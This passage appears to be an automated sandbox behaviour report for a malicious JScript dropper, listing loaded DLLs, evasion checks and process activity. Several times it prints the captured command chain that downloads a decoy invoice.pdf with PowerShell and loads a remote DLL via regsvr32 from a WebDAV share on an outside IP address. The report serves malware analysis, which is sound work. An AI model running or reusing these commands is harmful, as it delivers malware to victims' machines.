Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2495.js.csv");ITextStream.WriteLine(" entry:8180 f:dsjxefrtc");ITextStream.WriteLine(" exec:2 f:dsjxefrtc");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49701

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4696			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4159			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5108	Thread sleep count: 4696 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5108	Thread sleep count: 4159 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4668	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1264	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4236	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3180	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7500	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7732	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 0000000C.00000002.1318216071.000002A7FF1E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1318216071.000002A7FF248000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2548589393.00000203A724F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2548675041.00000203A7260000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000F.00000002.2546689884.00000203A5C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPQ%

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
